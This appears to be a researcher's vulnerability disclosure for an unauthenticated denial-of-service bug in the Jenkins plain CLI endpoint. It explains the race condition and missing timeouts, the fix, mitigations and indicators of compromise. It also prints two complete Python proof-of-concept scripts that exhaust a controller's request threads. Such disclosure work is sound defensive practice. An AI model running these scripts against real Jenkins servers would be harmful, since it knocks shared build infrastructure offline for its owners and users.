TL;DR
- Jenkins’ plain CLI endpoint (
/cli?remoting=false) pairs two POST requests (download/upload) via a sharedSessionUUID and is reachable without Overall/Read. - Two bugs stack: an unsynchronized
HashMapinCLIActiondrops one half of the session (race condition), and the CLI protocol wait loops (ServerSideImpl.run,FullDuplexHttpService.upload) have no timeout. - Attackers can finish their HTTP calls in milliseconds yet strand Jetty threads for 15s (race window) or indefinitely (abandoned protocol), causing controller-wide asymmetric DoS.
- Affects core ≤ 2.540 and LTS ≤ 2.528.2 (CWE-362/CWE-404, CVSS 7.5). Fixed in 2.541 / 2.528.3 by using
ConcurrentHashMap, adding handshake timeouts, and closing streams on error. - Mitigate now: upgrade, or block the plain CLI endpoint from untrusted networks, capture thread dumps to confirm no threads sit in
CLIAction$ServerSideImpl.runorFullDuplexHttpService.upload/download.
What the endpoint does
The non-Remoting CLI builds a full-duplex channel from two HTTP POSTs:
- Download side:
Side: download, openscli?remoting=false, server writes a byte and waits for the upload half. - Upload side:
Side: upload, sameSessionUUID, provides the input stream.
hudson.cli.CLIAction wires this to jenkins.util.FullDuplexHttpService, storing active sessions in a cross-request registry.
Root cause #1 - unsynchronized session registry (race condition)
CLIAction keeps the session map in a plain HashMap shared by all request threads:
// core/src/main/java/hudson/cli/CLIAction.java:83private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();FullDuplexHttpService.Response.generateResponse does services.put(uuid, service) for the download side, and services.get(uuid) for the upload side. Because HashMap is not thread-safe, concurrent puts/gets under load can:
- Return
nullfor a valid download side - Drop entries during a resize
- Leave download threads inside
FullDuplexHttpService.downloadwaiting up to 15 s for an upload that already arrived
Result: every racy pair ties up a servlet thread for the full timeout while the attacker’s sockets close immediately, causing an asymmetric DoS and violating REQ-337 (“Make critical logic flows thread safe”).
Root cause #2 - missing protocol timeouts (deterministic hang)
Even when the two halves pair correctly, the protocol handshake can deadlock because neither side times out:
// core/src/main/java/hudson/cli/CLIAction.java:300synchronized (this) { while (!ready) { // waits forever if client never sends "start" wait(); }}// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145while (!completed) { // no deadline if download side dies early wait();}If the client drops the connection before sending CLI frames, the download thread blocks in ServerSideImpl.run() and the upload thread blocks in upload() with no timeout, consuming two Jetty threads per attempt until the controller is exhausted.
Exploitation notes
Both vectors require only network reachability to /cli:
- Scenario A (race condition): fire overlapping download/upload pairs with slight jitter so the upload half occasionally sees
null. Threads pile up inFullDuplexHttpService.downloadfor ~15 s each. - Scenario B (abandonment): open both halves, let them pair, then close without sending CLI frames. Threads stay in
CLIAction$ServerSideImpl.runandFullDuplexHttpService.uploadindefinitely, no timing window needed.
Below are the exact PoCs shared with the Jenkins security team:
PoC: racecond_a.py (HashMap race, two downloads per UUID)
#!/usr/bin/env python3import requestsimport uuidimport concurrent.futuresimport sys
def create_download(jenkins_url, session_id, session): headers = {'Session': session_id, 'Side': 'download'} try: response = session.post( f"{jenkins_url}/cli?remoting=false", headers=headers, data=b'', timeout=20 ) return response.status_code except requests.exceptions.Timeout: return 'TIMEOUT' except Exception: return 'ERROR'
def main(jenkins_url, num_sessions): session = requests.Session() adapter = requests.adapters.HTTPAdapter( max_retries=0, pool_connections=200, pool_maxsize=200 ) session.mount('http://', adapter) session.mount('https://', adapter)
with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor: futures = []
for i in range(num_sessions): session_id = str(uuid.uuid4()) futures.append(executor.submit(create_download, jenkins_url, session_id, session)) futures.append(executor.submit(create_download, jenkins_url, session_id, session))
timeouts = 0 for future in concurrent.futures.as_completed(futures): if future.result() == 'TIMEOUT': timeouts += 1
print(f"Timeouts: {timeouts}/{num_sessions*2}")
if __name__ == "__main__": jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081" num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000 main(jenkins_url, num_sessions)PoC: racecond_b.py (protocol abandonment, deterministic hang)
#!/usr/bin/env python3import socketimport structimport uuidimport timeimport threadingimport sys
JENKINS_HOST = "localhost"JENKINS_PORT = 8081
OP_ARG = 0OP_LOCALE = 1OP_ENCODING = 2
def send_cli_frame(sock, opcode, data=b""): if isinstance(data, str): data = data.encode('utf-8') length = len(data) frame = struct.pack('>I', length) + struct.pack('B', opcode) + data sock.sendall(frame)
def establish_download(session_id, duration=30): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((JENKINS_HOST, JENKINS_PORT)) request = f"""POST /cli?remoting=false HTTP/1.1\rHost: {JENKINS_HOST}:{JENKINS_PORT}\rSession: {session_id}\rSide: download\rContent-Length: 0\rConnection: keep-alive\r\r""" sock.sendall(request.encode()) response = b"" while b"\r\n\r\n" not in response: chunk = sock.recv(1) if not chunk: return False response += chunk sock.recv(1) time.sleep(duration) sock.close() return True except Exception: return False
def establish_upload_without_start(session_id, duration=30): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((JENKINS_HOST, JENKINS_PORT)) request = f"""POST /cli?remoting=false HTTP/1.1\rHost: {JENKINS_HOST}:{JENKINS_PORT}\rSession: {session_id}\rSide: upload\rTransfer-Encoding: chunked\rConnection: keep-alive\r\r""" sock.sendall(request.encode()) response = b"" while b"\r\n\r\n" not in response: chunk = sock.recv(1) if not chunk: return False response += chunk send_cli_frame(sock, OP_ARG, "help") time.sleep(0.05) send_cli_frame(sock, OP_LOCALE, "en_US") time.sleep(0.05) send_cli_frame(sock, OP_ENCODING, "UTF-8") time.sleep(duration) sock.close() return True except Exception: return False
def create_abandoned_session(session_id, duration=30): download_thread = threading.Thread( target=establish_download, args=(session_id, duration), daemon=True ) download_thread.start() time.sleep(0.3) upload_thread = threading.Thread( target=establish_upload_without_start, args=(session_id, duration), daemon=True ) upload_thread.start() return download_thread, upload_thread
def main(num_sessions): threads = [] for i in range(num_sessions): session_id = str(uuid.uuid4()) download_t, upload_t = create_abandoned_session(session_id, duration=60) threads.extend([download_t, upload_t]) time.sleep(0.1)
for t in threads: t.join()
print(f"Created {num_sessions} sessions")
if __name__ == "__main__": num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500 main(num_sessions)Evidence
- Thread dump (Scenario B, Jenkins 2.516.2 test controller) – stuck in the exact call sites with no timeout:
at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)
at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)- Video evidence: end-to-end crash reproduction against a fresh controller:
- On a vulnerable build you will see dozens of request threads waiting in those call sites, and regular CLI calls start timing out.
Impact
- Unauthenticated DoS: no Overall/Read required to hit
/cli?remoting=false. - Low attacker cost: sockets close immediately, the server holds the work (15 s per race attempt, infinite for abandonment).
- Controller-wide degradation: servlet threads and I/O streams back up, other endpoints time out.
Patch details (core commit efa1816)
CLIActionnow stores sessions in aConcurrentHashMap, removing the racyHashMapdrops that powered the asymmetric DoS.ServerSideImpl.runandFullDuplexHttpService.uploadadoptedCONNECTION_TIMEOUT-bounded waits with 1s wake-ups and DEBUG logs, so abandoned handshakes unwind instead of parking threads.PlainCLIProtocolalways callsside.handleClose()in afinallyblock, ensuring both halves tear down even on read errors or runtime exceptions.- Regression coverage landed in
Security3630Test(JUnit 5): it shrinks the CLI timeout for tests, exercises the previous race with concurrent CLI invocations, and asserts threads are released after truncated streams. - Net effect: the CLI download/upload pairing now fails fast and frees Jetty threads instead of blocking indefinitely on missing counterparts.
- The changes bring the full-duplex CLI path back into compliance with REQ-337: “Make critical logic flows thread safe.”
CVE and advisory references
- SECURITY-3630 is assigned CVE-2025-67635 (CVSS 3.1: AV
/AC /PR /UI /S/C /I /A ). See the CNA record on cve.org and the NIST entry on NVD for canonical metadata. - Jenkins’ official write-up: Jenkins Security Advisory 2025-12-10: SECURITY-3630.
Fix and hardening
If you cannot upgrade immediately:
- Disable or firewall the plain CLI endpoint, prefer the WebSocket CLI with proper auth.
- Lower Jetty thread caps only as a last resort (does not remove the bug).
- Monitor thread dumps for
CLIAction$ServerSideImpl.runandFullDuplexHttpService.upload/downloadwait states.
Indicators of compromise
- Repeated
IOException: No download side found for <uuid>in logs. - Thread dumps showing many
TIMED_WAITINGatFullDuplexHttpService.downloadorWAITINGatCLIAction$ServerSideImpl.run/FullDuplexHttpService.upload. - Spikes in
/cli?remoting=falserequests lacking authentication headers.
Patch promptly, this is a cheap, network-reachable DoS path in default Jenkins deployments.